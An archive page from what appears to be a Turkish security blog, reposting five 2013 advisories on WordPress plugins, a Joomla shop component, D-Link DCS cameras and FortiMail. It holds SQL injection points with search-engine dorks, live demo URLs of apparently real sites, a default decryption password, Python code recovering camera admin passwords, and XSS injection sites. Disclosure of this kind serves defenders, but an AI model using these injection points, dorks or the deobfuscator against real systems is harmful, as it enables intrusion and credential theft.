Archive for 30 Ocak 2013

admin | 30 Ocak 2013
No comments

WordPress plugin Attack Scanner Bypass vulnerability

WordPress plugin Attack Scanner Bypass açığına işişkin açıklamalar şu şekilde;

 want to warn you about security vulnerabilities in WordPress Attack Scanner plugin for WordPress.

These are Information Leakage vulnerabilities. This is security plugin. In my 63 advisories about different vulnerabilities in WordPress plugins (http://websecurity.com.ua/3397/) I've wrote about security plugins many times. Previous time it was plugin Wordfence Security.

-------------------------
Affected products:
-------------------------

Vulnerable are all versions of WordPress Attack Scanner - both Free and Pro (commercial) versions of the plugin. Checked in WP-Attack-Scanner-Free 0.9.5.beta.

----------
Details:
----------

Information Leakage (WASC-13):

http://site/wp-content/plugins/path/data.txt

http://site/wp-content/plugins/path/archive.txt

Folder "path" can be WP-Attack-Scanner or WP-Attack-Scanner-Free.

Unrestricted access to the data - they can be accessed in the browser without authorization. Even the data is encrypted, but by default the password is "changepassword". If the password was not changed, then the data is easily decrypting. If it was changed, then the password can be picked up.

------------
Timeline:
------------
2012.10.29 - announced at my site.
2012.11.03 - informed developers (at one e-mail).
2012.11.04 - informed developers (at another e-mail).
2013.01.29 - disclosed at my site (http://websecurity.com.ua/6120/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
Category: Genel | Tags:
admin | 30 Ocak 2013
No comments

Joomla Component – smartshop SQL Injection Vulnerability

Joomla Component – smartshop eklentisinde SQL Injection SQL açığı bulunmuş olup, Açığın oluşum yeri ve açık hakkında açık bulucunun bilgilendirmesi aşağıda yer almaktadır.

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Zikou-16 member from Inj3ct0r Team                 1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
-------------------------------------------------------------------
Joomla Component - smartshop SQL Injection Vulnerability 
-------------------------------------------------------------------
 
#####
# Author => Zikou-16
# E-mail => 
# Facebook => http://fb.me/Zikou.se
# Google Dork => inurl:"com_smartshop"
# Tested on : Windows 7 , Backtrack 5r3
####
 
#=> Exploit Info :
------------------
# The attacker can access to the database & get username & password ...
------------------
 
#=> SQL Injection 
 
http://[target]/[path]/index.php?option=com_smartshop&controller=smartshop_products&task=details&parentid=[ID]&catid=[ID]&product_id=25'[inj3ct h3re]
 
------------------------------
 
#=> Demos :
 
http://www.aktenvernichter.ch/index.php?option=com_smartshop&controller=smartshop_products&task=details&parentid=1&catid=12&product_id=242
 
http://www.destructeurs.ch/index.php?option=com_smartshop&controller=smartshop_products&task=details&parentid=147&catid=4&product_id=35
Category: Genel | Tags: ,
admin | 30 Ocak 2013
No comments

D-Link DCS Cameras Authentication Bypass / Command Execution

D-Link DCS Cameras Authentication Bypass / Command Execution Açığı ve kullanımanı ilişkin exploit yayınlanmış olup ayrıntılı açıklaması aşağıda yer almaktadır.

Unauthenticated remote access to D-Link DCS cameras
===================================================
 
[ADVISORY INFORMATION]
Title:    Unauthenticated remote access to D-Link DCS cameras
Discovery date: 20/06/2012
Release date:   28/01/2013
Credits:        Roberto Paleari (, twitter: )
 
[VULNERABILITY INFORMATION]
Class:           Authentication bypass, Remote command execution
 
[AFFECTED PRODUCTS]
This security vulnerability affects the following products and firmware
versions:
* D-Link DCS-930L, firmware version 1.04
* D-Link DCS-932L, firmware version 1.02
Other products and firmware versions are probably also vulnerable, but they
were not checked.
 
[VULNERABILITY DETAILS]
D-Link DCS web cameras allow unauthenticated attackers to obtain the
configuration of the device remotely. A copy of the device configuration can be
obtained by accessing the following URL:
 
http://<device IP address>/frame/GetConfig
 
The obtained configuration file is obfuscated using a trivial obfuscation
scheme. Python code for the deobfuscation follows (sorry, the code is quite a
mess :-)):
 
<cut>
# 'data' holds the content of the obfuscated configuration file
def deobfuscate(data):
r = []
for c in data:
c = ord(c)
c = (c + ord('y')) & 0xff
c = (c ^ ord('Z')) & 0xff
c = (c - ord('e')) & 0xff
r.append(c)
 
tmp = None
i = len(r) - 1
while i >= 0:
if i == len(r) - 1:
x = r[i]
tmp = ((x & 7) << 5) & 0xff
 
if i == 0:
assert tmp is not None
x = r[0]
x = (x >> 3) & 0xff
x = (x + tmp) & 0xff
r[0] = x
else:
c1 = r[i-1]
c2 = r[i]
c1 = c1 & 0x7
c2 = (c2 >> 3) & 0xff
c1 = (c1 << 5) & 0xff
c2 = (c2 + c1) & 0xff
r[i] = c2
i = i - 1
 
r = "".join([chr(x) for x in r])
 
s = ""
assert (len(r) % 2) == 0
for i in range(len(r)/2):
s += r[i+(len(r)/2)] + r[i]
 
return s
</cut>
 
The above procedure returns the deobfuscated ASCII version of the
configuration file. This file includes, among other things, also the web
password for the "admin" user.
 
As a side note, it is worth considering that, after exploiting this issue,
authenticated attackers can also leverage the undocumented /docmd.htm web page
to execute arbitrary commands on the affected devices.
 
[REMEDIATION]
This issue has been addressed by D-Link in the following firmware releases:
* DCS-930L V1.06B5 (August 15, 2012)
* DCS-932L V1.04B5 (August 15, 2012)
 
These updates are available through mydlink.com and have also been implemented
on DCS-942L and higher camera products.
 
[DISCLOSURE TIME-LINE]
* 20/06/2012 - Initial vendor contact.
 
* 11/07/2012 - The author provided D-Link with the details of the
vulnerability.
 
* 12/07/2012 - D-Link confirmed the issue is a new security vulnerability.
 
* 26/01/2013 - D-Link confirmed the release of firmware versions that
address the vulnerability.
 
* 28/01/2013 - Public disclosure.
 
[DISCLAIMER]
The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.
Category: Genel | Tags:
admin | 30 Ocak 2013
No comments

WordPress RLSWordPressSearch plugin SQL Injection

WordPress RLSWordPressSearch eklentisinde SQL injection açığı bulundu. SQL injectionun scriptteki oluşum yeri ve açık hakkında açık bulucunun bilgilendirmesi şu şekilde yer almaktadırdır.

##############
# Exploit Title : WordPress RLSWordPressSearch plugin SQL Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# Home : ww.ashiyane.org
#
# Security Risk : MEdium - SQL Injection
#
# Dork : inurl:wp-content/plugins/RLSWordPressSearch/register.php?a=
#
##############
#Location:site/wp-content/plugins/RLSWordPressSearch/register.php?a=[num]&agentid=[SQL]
#
#
##############
#Greetz to: My Lord ALLAH
##############
#
# Amirh03in
#
##############
Category: Genel | Tags:
admin |

Fortinet FortiMail 400 IBE Versiyonunda Genel Açıklar bulundu. Açık bulucunun açık hakkında oluşum yerleri ve ne şekide kullanıldığına dair izahları aşağıda yer almaktadır.

Title:
======
Fortinet FortiMail 400 IBE - Multiple Web Vulnerabilities


Date:
=====
2013-01-23


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=701


VL-ID:
=====
701


Common Vulnerability Scoring System:
====================================
7.1


Introduction:
=============
The FortiMail family of appliances is a proven, powerful messaging security platform for any size organization, 
from small businesses to carriers, service providers, and large enterprises. Purpose-built for the most demanding 
messaging systems, the FortiMail appliances utilize Fortinet’s years of experience in protecting networks against 
spam, malware, and other message-borne threats.

You can prevent your messaging system from becoming a threat delivery system with FortiMail. Its inbound filtering 
engine blocks spam and malware before it can clog your network and affect users. Its outbound inspection technology prevents 
outbound spam or malware (including 3G mobile traffic) from causing other antispam gateways to blacklist your users.

Three deployment modes offer maximum versatility while minimizing infrastructure changes or service disruptions: 
transparent mode for seamless integration into existing networks with no changes to your existing mail server, 
gateway mode as a proxy MTA for existing messaging gateways, or full messaging server functionality for remote locations. 
FortiMail provides Identity-Based Encryption (IBE), in addition to S/MIME and TLS, as email encryption option to enforce 
policy-based encryption for secure content delivery. Furthermore, the FortiMail customizable and predefined dictionaries 
prevent accidental or intentional loss of confidential and regulated data.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortimail/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Fortinets FortiMail IBE 400Appliance Application.


Report-Timeline:
================
2012-09-16:     Researcher Notification & Coordination
2012-09-18:     Vendor Notification
2012-10-08:     Vendor Response/Feedback
2012-**-**:     Vendor Fix/Patch (NO RESPONSE BY PSIRT)
2013-01-23:     Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortinet
Product: FortiMail Appliance Series 400 IBE


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
An exception-handling and input filter bypass vulnerability is detected in the Fortinets FortiMail IBE Appliance Application 200D,400C, VM2K, 2000B and 5002B.

The first vulnerability is located in the parse module with the bound vulnerable exception-handling and vulnerable effect on all input fields. 
The vulnerability allows an attacker to bypass the input parse routine by an implement of 2 close tags, which results in the 
execution of the secound injected script code with a space between. 

The secound vulnerability is located in the import/upload certificate module with the bound vulnerable certificate name and information parameters.
An attacker can implement own certificates with script code in the malicious name and information values. After the upload the persistent code get 
executed out of the certificate listing main module.

Successful exploitation of the vulnerabilities allows to hijack admin/customer sessions, can lead to information disclosure or result in stable
manipulation of web context (persistent & non-persistent).

Vulnerable Module(s):
                                [+] Invalid - Exception Handling

Vulnerable Parameter(s):
                                [+] ipmask
                                [+] username
                                [+] address
                                [+] url


Proof of Concept:
=================
1.1
The exception handling and filter bypass vulnerability can be exploited by remote attackers and local low privileged user account.
For demonstration or reproduce ... 


Module:         IPAddressMask - ext-mb-text, ext-gen4185 & ext-gen7196
INJECT:         https://127.0.0.1:1338/admin/FEAdmin.html#SysInterfaceCollection

<div id="ext-gen4183"><div id="ext-gen4184" class="ext-mb-icon  ext-mb-error"></div><div id="ext-gen7197" 
class="ext-mb-content"><span id="ext-gen4185" class="ext-mb-

text">Error:IPAddressMask( 2 ) , IPAddressMask.cpp:14,  "Invalid mask:"
><iframe id="ext-gen7196" [PERSISTENT INJECTED SCRIPT CODE!];)" <="" "=""><[PERSISTENT 

INJECTED SCRIPT CODE!]") <"><[PERSISTENT INJECTED SCRIPT CODE!]") </0"</iframe></span>

AFFECTED:       https://127.0.0.1:1338/admin/FEAdmin.html#SysInterfaceCollection


Module:         Whitelist & Blacklist - Address
URL:            https://server:1443/admin/FEAdmin.html#PersonalBlackWhiteList

<div id="ext-gen10562" class="ext-mb-content"><span id="ext-gen5714" class="ext-mb-text">
Invalid address: "><[PERSISTENT INJECTED SCRIPT CODE!];)" <="" -="" 

"=""><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></span>

AFFECTED:       https://server:1443/admin/FEAdmin.html#SystemBlackWhiteList


Module:         Bounce Verification - Username
URL:            https://server:1443/admin/FEAdmin.html#AsBounceverifyKeyCollection

<div id="ext-gen7197" class="ext-mb-content"><span id="ext-gen4185" class="ext-mb-text">
Invalid user name: ""><iframe id="ext-gen19608" [PERSISTENT INJECTED SCRIPT 

CODE!];)" <="" "=""><[PERSISTENT INJECTED SCRIPT CODE!]") <"</iframe></span>



1.2
The persistent vulnerability can be exploited by remote attackers with privileged application account and 
low required user inter action. For demonstration or reproduce ...


Module:         Upload or Import - Local Certificate - Certificate name
URL:            https://server:1443/admin/FEAdmin.html#SysCertificateDetailCollection

<div id="ext-gen38011" class="x-grid3-body"><div id="ext-gen38041" class="x-grid3-row x-grid3-row-selected " style="width: 1158px;">
<table class="x-grid3-row-table" 

style="width: 1158px;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td id="ext-gen38095" class="x-grid3-col x-grid3-cell 
x-grid3-td-mkey x-grid3-cell-first " 

style="width:248px;" tabindex="0"><div id="ext-gen38036" class="x-grid3-cell-inner x-grid3-col-mkey" 
unselectable="on">[PERSISTENT INJECTED SCRIPT CODE AS CERTIFICATE NAME!]</div></td>
<td class="x-grid3-col x-grid3-cell x-grid3-td-subject " style="width: 726px;" tabindex="0"><div id="ext-gen38068" 
class="x-grid3-cell-inner x-grid3-

col-subject" unselectable="on">/[PERSISTENT INJECTED SCRIPT CODE AS CERTIFICATE VIA INFORMATION!]</div></td>
<td id="ext-gen38085" 

class="x-grid3-col x-grid3-cell x-grid3-td-status " style="width:148px;" tabindex="0"><div id="ext-gen38086" class="x-grid3-cell-inner 
x-grid3-col-status" 

unselectable="on">OK</div></td><td id="ext-gen38084" class="x-grid3-col x-grid3-cell x-grid3-td-isReferenced x-grid3-cell-last " 
style="width:28px;" tabindex="0"><div 

class="x-grid3-cell-inner x-grid3-col-isReferenced" unselectable="on"><img src="images/gray-ball.png" alt="0" align="absmiddle" 

border="0"></div></td></tr></tbody></table></div><div id="ext-gen38040" class="x-grid3-row x-grid3-row-alt " style="width: 1158px;">
<table class="x-grid3-row-table" 

style="width: 1158px;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="x-grid3-col x-grid3-cell x-grid3-td-mkey x-grid3-cell-first " 

style="width:248px;" tabindex="0"><div id="ext-gen38037" class="x-grid3-cell-inner x-grid3-col-mkey" 
unselectable="on">[PERSISTENT INJECTED SCRIPT CODE AS CERTIFICATE NAME!]</div></td>
<td class="x-grid3-col x-grid3-cell x-grid3-td-subject " style="width: 726px;" tabindex="0"><div id="ext-gen38039" 
class="x-grid3-cell-inner x-grid3-

col-subject" unselectable="on">[PERSISTENT INJECTED SCRIPT CODE AS CERTIFICATE VIA INFORMATION!]</div></td><td class="x-grid3-col x-grid3-cell x-grid3-td-status " 
style="width:148px;" tabindex="0"><div 

id="ext-gen38102" class="x-grid3-cell-inner x-grid3-col-status" unselectable="on">Default</div></td><td id="ext-gen38101" class="x-grid3-col 
x-grid3-cell x-grid3-td-

isReferenced x-grid3-cell-last " style="width:28px;" tabindex="0"><div id="ext-gen38083" class="x-grid3-cell-inner x-grid3-col-isReferenced" 
unselectable="on"><img 

id="ext-gen38100" src="images/red-ball.png" alt="1" align="absmiddle" border="0"></div></td></tr></tbody></table></div></div>



Solution:
=========
1.1
The exception-handling vulnerability can be fixed by parsing the full content without excluding after a close tag. Restrict the input fields to allowed chars.

1.2
The persistent vulnerability in the certificate import/upload module can be patched by parsing the certificate name and info input field. 
Do not forget to parse also the vulnerable output listing of the certificate name and cert information.


Risk:
=====
The security risk of the of the exception-handling and input filter bypass vulnerability is estimated as high(-).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ()


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - www.vulnerability-lab.com/register
Contact:             -                 - 
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - news.vulnerability-lab.com
Social:                  -                 - 
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ( or ) to get a permission.

                                        Copyright © 2012 | Vulnerability Laboratory



-- 
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT:
Category: Genel | Tags:
« Older Entries